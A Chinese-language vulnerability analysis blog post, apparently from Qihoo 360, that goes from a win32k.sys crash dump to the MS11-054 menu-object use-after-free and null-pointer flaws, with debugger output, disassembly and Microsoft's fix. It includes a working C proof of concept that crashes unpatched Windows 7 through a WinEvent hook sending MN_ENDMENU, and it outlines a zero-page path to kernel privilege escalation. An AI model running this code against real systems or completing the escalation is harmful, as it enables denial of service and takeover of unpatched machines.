β

从Dump到POC系列一:Win32k内核提权漏洞分析

奇虎360技术博客 223 阅读

1.引言

近日有同事反馈给笔者一个win32k的蓝屏崩溃dump,说是在开发新的界面程序中遇到的。

笔者在对拿到的Minidump进行分析后,发现这是win32k.sys在处理内核的menu窗口对象中的Use-After-Free/Null-Pointer-Dereference漏洞引发的。

笔者进行进一步分析后发现,这实际是一系列2011年已经修补的win32k漏洞, 微软公告编号为MS11-054,涉及8个CVE(CVE-2011-1878~CVE-2011-1885),都是由当时在挪威安全公司Norman的内核漏洞达人Tarjei Mandt(@kernelpool)报告的,相关的细节未被公开过。

虽然这些都是一年多以前已经修补的漏洞,但细节从未公开过,从了解内核安全问题和win32k内部机制的目的出发,笔者还是决定将此成文,由dump分析入手,到漏洞原理剖析,再到漏洞的重现利用手法,最后到分析漏洞的影响函数、修补方式等,完整重现“由dump到POC”的全过程。

2.Dump分析

首先我们打开崩溃的dump,windbg分析可知发生的Bugcheck是:KERNEL_MODE_EXCEPTION_NOT_HANDLED_M(未处理的内核异常)

而异常代码是STATUS_ACCESS_VIOLATION(访问违例),出故障的地方位于win32k!xxxDestoryWindow+0×32,原因是访问了空指针,异常堆栈如下:

kd> kb
ChildEBP RetAddr  Args to Child              
a0fb78 95768a5c 00000000 9584e480 fe320168 win32k!xxxDestroyWindow+0x32
a0fbb8 95768d13 00000001 00000000 00000000 win32k!xxxMNCancel+0x121
a0fbd0 95769de6 9584e480 fe52fdd8 9584e480 win32k!xxxMNDismiss+0x12
a0fbf0 9575fb93 9584e480 fe320168 9584e480 win32k!xxxEndMenuLoop+0x23
a0fc38 9576f71b fe320168 9584e480 00000000 win32k!xxxMNLoop+0x3f5
a0fca0 957658a5 00000088 00004040 000004e8 win32k!xxxTrackPopupMenuEx+0x5cd
a0fd14 83c5f42a 00020225 00004040 000004e8 win32k!NtUserTrackPopupMenuEx+0xc3
a0fd14 778b64f4 00020225 00004040 000004e8 nt!KiFastCallEntry+0x12a

从堆栈上可以看出是由NtUserTrackPopupMenuEx这个NT服务引发的问题,在调入封装的win32k xxxTrackPopupMenuEx函数后,进入xxxMNLoop->xxxEndMenuLoop->xxxMNDismiss->xxxMNCancel,最终进入了 问题现场函数xxxDestoryWindow,这个函数顾名思义,是win32k销毁内核窗口对象的内部功能函数。

xxxDestoryWindow的故障发生在刚刚进入函数的地方,原因很容易定位,我们来看xxxDestoryWindow的故障代码:

kd> u xxxDestroyWindow xxxDestroyWindow+34
win32k!xxxDestroyWindow:
d0915 8bff            mov     edi,edi
d0917 55              push    ebp
d0918 8bec            mov     ebp,esp
d091a 83ec34          sub     esp,34h
d091d 53              push    ebx
d091e 8b1d58da8495    mov     ebx,dword ptr [win32k!gptiCurrent (9584da58)]
d0924 8b83b4000000    mov     eax,dword ptr [ebx+0B4h]
d092a 56              push    esi
d092b 8b7508          mov     esi,dword ptr [ebp+8] //set esi
d092e 8945f0          mov     dword ptr [ebp-10h],eax
d0931 57              push    edi
d0932 8d45f0          lea     eax,[ebp-10h]
d0935 33ff            xor     edi,edi
d0937 8983b4000000    mov     dword ptr [ebx+0B4h],eax
d093d 8975f4          mov     dword ptr [ebp-0Ch],esi
d0940 3bf7            cmp     esi,edi
d0942 7403            je      win32k!xxxDestroyWindow+0x32 (956d0947)
d0944 ff4604          inc     dword ptr [esi+4]
d0947 8b16            mov     edx,dword ptr [esi] //esi = 0x00000000

代码中最后一行即是发生空指针引用的地方,esi = 0×00000000,esi的来源也一目了然,它是来自xxxDestoryWindow的第一个参数,即要被销毁的窗口pwnd指针。

这么看,xxxDestoryWindow不是责任函数,那么应该是xxxMNCancel传入了空的pwnd指针导致的,我们再来看xxxMNCancel的实现,首先看看xxxMNCancel调用xxxDestoryWindow的附近代码:

kd> ub xxxMNCancel+121 L5
win32k!xxxMNCancel+0x10f:
a4a ff7608          push    dword ptr [esi+8]
a4d 6a07            push    7
a4f e8e962faff      call    win32k!xxxWindowEvent (9570ed3d)
a54 ff7608          push    dword ptr [esi+8]
a57 e8b97ef6ff      call    win32k!xxxDestroyWindow (956d0915)

可以看到,xxxDestoryWindow的参数来自 dword ptr[esi + 8],继续看下面的代码可知,esi来自xxxMNCancel的第一个参数,结构为tagPOPUPWND,这样我们可知被销毁的窗口对象指针来自tagPOPUPWND->spwndPopupMenu

kd> u xxxMNCancel la
win32k!xxxMNCancel:
b 8bff            mov     edi,edi
d 55              push    ebp
e 8bec            mov     ebp,esp
 83ec28          sub     esp,28h
 53              push    ebx
 56              push    esi
 57              push    edi
 8b7d08          mov     edi,dword ptr [ebp+8]
 8b37            mov     esi,dword ptr [edi]
b 8b06            mov     eax,dword ptr [esi]

3.原理分析

分析相关的代码可知,spwndPopupMenu实际上是在PopupMenu对象中的指向其属于的Menu窗口对象的指针。为了理解为何这里会遇到空的Menu对象指针,我们首先研究下Menu/PopupMenu对象之间的关系和形成机理。

通过研究win32k的内部机制可知,在win32k中,不同类型的窗口对象的扩展数据(WndExtra)是附加在标准窗口对象结构后面的,而对于Menu窗口对象(tagMENUWND结构),附加在其后的是指向其PopupMenu对象的 指针(PPOPUPMENU,即tagPOPUPMENU结构),而我们这里遇到的spwndPopupMenu就是在tagPOPUPMENU结构中,指回其所属的Menu窗口对象的指针

: kd> dt tagPOPUPMENU -d spwndPopupMenu
win32k!tagPOPUPMENU
   +0x008 spwndPopupMenu : Ptr32 tagWND

对于Menu窗口对象,分配tagPOPUPMENU并填充到tagMENUWND的工作,是在xxxMenuWindowProc这个函数内,响应窗口创建时产生的WM_NCCREATE消息时完成的。

对于内核默认的窗口对象,系统会为其指定专门的内核窗口消息处理函数来实现特定的功能,而xxxMenuWindowProc就是专为响应Menu窗口对象的窗口消息的函数,当ring3代码调用SendMessage- >NtUserMessageCall发送消息给Menu窗口,或者ring0调用xxxSendMessage发送消息给Menu窗口时,都会通过FNID函数封装后最终调用到这些内核处理函数。这个函数对于内核对Menu窗口对象的管理来说非常重要 ,后面我们还会说到它。

通过IDA反汇编xxxMenuWindowProc函数中对WM_NCCREATE消息的处理过程我们可以看到这一点:

ProcWM_NCCREATE:                        ; CODE XREF: xxxMenuWindowProc(x,x,x,x)+179j

               cmp     dword ptr [edi+(size tagWND)], 0
               jnz     loc_BF93F24A
               push    1
               call    _MNAllocPopup@4 ; MNAllocPopup(x)
               test    eax, eax
               jz      loc_BF93F24A
               mov     [edi+(size tagWND)], eax
               or      [eax+tagPOPUPMENU.posSelectedItem], 0FFFFFFFFh
               lea     ecx, [eax+tagPOPUPMENU.spwndPopupMenu]
               mov     edx, edi
               call    @HMAssignmentLock@8 ; HMAssignmentLock(x,x)

从代码上我们可以看到(edi为窗口对象指针),处理例程首先判断tagWND附加数据(edi + 标准窗口结构长度)的pPopupMenu对象指针是否为空,如果为空,那么就是用MNAllocPopup为Menu窗口对象创建 pPopupMenu结构的内存空间(实际就是在Session内存池内分配内存并初始化结构),并将分配出来的pPopupMenu指针写入Menu窗口对象的附加数据中。

接着,再使用HMAssignmentLock,带锁地将tagPOPUPMENU.spwndPopupMenu赋值为edi,即其从属的Menu窗口对象的指针

我们再回头来看触发这个问题的函数:xxxTrackPopupMenuEx的工作原理,熟悉界面编程的朋友都知道这是用于弹出一个Popup Menu的函数,那么在内核中它是如何工作的呢,这里笔者简单列出一下大概的工作的流程 :

(1). 创建Menu窗口对象: 根据HMENU等相关参数,创建最终弹出和展示的Menu窗口(通过xxxCreateWindowEx)

(2). 分配和初始化当前线程的MenuState结构(xxxMNAllocMenuState)

(3). 计算和设定Menu窗口的相关位置、属性等(通过FindBestPos/xxxSetWindowPos等)

(4). 进入菜单循环,展示Menu并进入等待菜单选择的循环(xxxMNLoop),在进入循环前,会通过xxxWindowEvent来“播放”一个EVENT_SYSTEM_MENUPOPUPSTART的窗口事件,这个细节会在后面用到

(5). 菜单被选择或取消,退出循环并销毁PopupMenu、Menu窗口对象和MenuState结构(xxxxxEndMenuLoop、xxxMNEndMenuState等)

在dump中,我们看到出问题的地方就在xxxMNLoop的过程中,当菜单选择被取消,xxxMNLoop会试图退出循环,调用xxxMNDismiss->xxxMNCancel来取消窗口的展现,而其中一个操作就是调用xxxDestoryWindow, 来销毁pPopupMenu->spwndPopupMenu即Menu主窗口,而故障的原因就是这个指针已经被销毁并置Null了,由于销毁的代码并没有判断是否已经销毁而直接使用了指针,因此引发了崩溃。

因此,这个漏洞的本质就在于,相关的调用函数(本例中xxxTrackPopupMenuEx)没有检查对应的popup menu结构是否已经被销毁或指针被清空了,仍然继续使用,同时在销毁和使用的代码之间(xxxMenuWindowProc与 xxxTrackPopupMenuEx及其子函数),缺少有效的锁机制,导致了Use-After-Free或Null-Pointer-Dereference问题的发生。

4.重现POC

故障的基本原因清楚了,但还有一个问题是,如何Popup窗口循环结束前,让其保存的指针会被销毁呢?

当然,仅仅通过dump我们已经无法明确究竟在这个Dump的场景之下,之前是哪个逻辑调用了销毁窗口对象的功能,但通过分析Menu相关的实现代码可知,销毁的可能场景有很多,而其中最常见的也最容易触发的,就是 前面将到的xxxMenuWindowProc例程中,我们看看这个例程接受MN_ENDMENU这个消息的代码:

ProcMN_ENDMENU:                         ; CODE XREF: xxxMenuWindowProc(x,x,x,x)+A1Bj

                         ; xxxMenuWindowProc(x,x,x,x)+A6Fj
                         ; DATA XREF: ...

               push    [esi+tagMENUSTATE.pGlobalPopupMenu] ; jumptable BF93ED60 case 499
               push    esi
               call    _xxxEndMenuLoop@8 ; xxxEndMenuLoop(x,x)
               test    dword ptr [esi+tagMENUSTATE._bf4], MENU_STATE_MODLE_LESS
               jz      loc_BF93F24A
               push    TRUE
               call    _xxxMNEndMenuState@4 ; xxxMNEndMenuState(x)
               jmp     loc_BF93F24A

从代码上可以看出,当该例程接受一个MN_ENDMENU消息时,且menu状态是model less的(通过menu state来判断),xxxMenuWindowProc就会调用xxxMNEndMenuState销毁线程的MenuState,同时也销毁和清 空当前线程popup menu相关的spwndPopupMenu对象。

也就是说,只要在TrackPopupMenuEx的流程 (2) 之后,流程(4)结束之前,发送MN_ENDMENU消息给Menu窗口对象,就可以触发这个问题。

了解了整个逻辑触发的原理,接下来笔者就开始尝试构造代码,在ring3重现这个问题。

刚才已经提到,重现这个的关键点,也是难点在于,如何控制在流程2到流程4之间发送销毁消息。对于ring3程序来说,流程(1)~(5)都是在TrackPopupMenuEx这一个API的调用过程中发生完的。

另外一个难点是,我们要发送消息的Menu窗口对象是内部创建的,在TrackPopupMenu完成后就销毁了,并未输出出来供我们使用。

对于难点1,如何克服?通过多线程竞争条件实现么?存在成功率问题。对于难点2呢?通过在ring3分析win32k 共享内存中的全部窗口对象来实现?麻烦,又不通用。

思考了一段时间,笔者注意到了在流程(4) 中提到的那个WindowEvent的“播放”,我们看看xxxTrackPopupMenu进入xxxMNLoop之前,附近的代码实现:

push    ebx
push    ebx
push    OBJID_CLIENT
push    [ebp+pwndHierarchy]
push    EVENT_SYSTEM_MENUPOPUPSTART
call    _xxxWindowEvent@20 ; xxxWindowEvent(x,x,x,x,x)
mov     eax, [edi+tagMENUSTATE._bf4]
mov     ecx, [ebp+var_1C]
push    ebx
push    ebx
and     eax, 0FFFFFFF7h
shl     ecx, 3
push    edi
or      eax, ecx
push    esi
mov     [edi+4], eax
call    _xxxMNLoop@16   ; xxxMNLoop(x,x,x,x)

可以清楚地看到,在进入xxxMNLoop之前,通过xxxWindowEvent播放了一个EVENT_SYSTEM_MENUPOPUPSTART事件,而参数中,就有我们需要的,Menu窗口对象的指针pwndHierarchy,由于IN CONTEXT的 Window Event是同步调用的,而注册针对本线程的IN CONTEXT Window Event Hook无须任何特权,因此我们这里就找到了一下解决两个难点的方法:

使用SetWindowEventHook,注册针对本线程的、EVENT_SYSTEM_MENUPOPUPSTART事件的Hook,并在hook例程里直接发送窗口销毁消息。

触发问题的另外一个小问题是,如何让MenuState标记为model less的风格,这点通过公开的API SetMenuInfo就可以做到了。

如上所说,所有的问题都解决了,那么写一个完整的程序实验一下吧:

笔者的测试系统环境:干净 Win7 X86,未补过KB2555917补丁(或在其后的针对win32k.sys的补丁),运行后即BSOD

测试代码如下(GUI程序):

#define MN_ENDMENU 0x1F3

VOID CALLBACK WinEventProc( HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime)
{
	SendMessage(hwnd , MN_ENDMENU , 0 , 0 );

	return ; 
}

void xxxMenu()
{
	HWND hwnd = GetForegroundWindow();
	HMENU hmenu = CreatePopupMenu();
	MENUINFO menuinfo ; 
	CHAR name[4] = "AAA";
	MENUITEMINFO item  ;

	menuinfo.cbSize = sizeof(menuinfo);
	menuinfo.fMask = MIM_STYLE ; 
	menuinfo.dwStyle = MNS_MODELESS;

	SetMenuInfo(hmenu , &menuinfo);

	item.cbSize = sizeof(item);
	item.fMask = MIIM_STRING;
	item.fType = MFT_STRING ; 
	item.dwTypeData = name;
	item.cch = 4 ; 

	InsertMenuItem(hmenu , 0 , FALSE ,  &item );

	SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART , 
		EVENT_SYSTEM_MENUPOPUPSTART  , 
		GetModuleHandle(NULL) ,
		WinEventProc , 
		GetCurrentProcessId(),
		GetCurrentThreadId() ,
		WINEVENT_INCONTEXT);

	TrackPopupMenuEx(hmenu , 0 , 0x100 , 0x100 ,hwnd , NULL );

	return ;
}

当然,这里笔者给出的POC仅仅构造的是引发内核访问空指针后引发内核拒绝服务,而在实际利用中,因为在xxxMNLoop中会调用xxxSendMessage发送消息给对应的pwnd窗口对象,我们可以通过分配零页内存,伪造可 进行攻击的pwnd结构来稳定地实现内核任意代码执行并进行权限提升,这里笔者就不公布具体的利用代码了。

5.更深入的分析

有了稳定的触发方法后,我们就更容易深入地分析这个漏洞了,通过分析可以发现,xxxTrackPopupMenuEx/xxxMenuWindowProc中相当多的子函数调用都会触发menu或popupmenu窗口对象的问题。

这里笔者简单列出一下之前的win32k.sys中存在同样或类似情况的函数及问题:

xxxTrackPopupMenuEx->xxxMNLoop…xxxMNCancel->xxxDestroyWindow(本文中蓝屏Dump发生的案例):Null Pointer Dereference

xxxMenuWindowProc(处理WM_SIZE或WM_MOVE消息的代码中):Null Pointer Dereference

xxxMNKeyFilter:Null Pointer Dereference

xxxMenuWindowProc->xxxMNDoubleClick(处理MN_DBLCLK消息的代码中):Use After Free

xxxMenuWindowProc->xxxMNButtonDown(处理MN_BUTTONDOWN消息的代码中):Use After Free

xxxMenuWindowProc->xxxMNDestroyHandler(处理WM_FINALDESTROY消息的代码中):Use After Free

xxxMenuWindowProc->xxxCallHandleMenuMessages:Use After Free xxxTrackPopupMenuEx->xxxMNEndMenuState:Use After Free

涉及的问题代码很多,因此在MS11-054中才会有这么多漏洞是属于这一个问题的。

最后,笔者想要探究是,微软在KB2555917中是如何修复这个问题的?解开这个补丁后分析升级的文件得知(分析目标是补丁版本的win32k.sys,win7 x86版本为6.1.7600.16830),微软增强了对于popup menu/MenuState对象的lock机制和延时释放机制,修正了空指针问题:

对xxxMenuWindowProc增加了一层封装,将过去的xxxMenuWindowProc函数封装成了xxxRealMenuWindowProc,在调用前后增加Locking/Unlocking处理,新的xxxMenuWindowProc部分伪代码如下:

if ( !menuroot )
        bIsLock = LockPopup(popupmenu);
   ++pMenuState->dwLockCount;

  xxxRealMenuWindowProc((int)pwnd, msg, (HDC)wparam, (LPRECT)lparam, (int)pMenuState, fIsRecursedMenu);

  if ( bIsLock )
    UnlockPopup(popupmenu);

同时为了支持Lock popup menu机制, 修改了tagPOPUPMENU结构,增加了flockDelayedFree标记,修改了tagTHREADINFO结构,增加了ppmlockFree链表。

在进入xxxRealMenuWindowProc前,会将PopupMenu加入到win32 thread info(当前GUI线程相关结构)的Lock Delay Free链表中,并将当前PopupMenu标记为DelayFree,在完成MenuWindowProc后才会Unlock PopupMenu,允许popup menu被释放。

在线程退出调用xxxDestoryThreadInfo时,则会释放tagTHREADINFO链表中的所有PopupMenu对象

同时针对MenuState对象也增加了lock机制,对tagMENUSTATE增加了fMarkDestroy标记,并将xxxUnlockMenuState修改为对xxxUnlockMenuStateInternal的封装,并在其中实现了对fMarkDestroy的识别和延迟释放 机制,防止Use-After-Free问题。

修正了若干xxxMNEndMenuState/xxxMNLoop等函数中空指针引用计数问题,解决Null Pointer Dereference问题。

你也许会喜欢:

作者:奇虎360技术博客
分享奇虎360公司的技术,与安全的互联网共同成长。
原文地址:从Dump到POC系列一:Win32k内核提权漏洞分析, 感谢原作者分享。

发表评论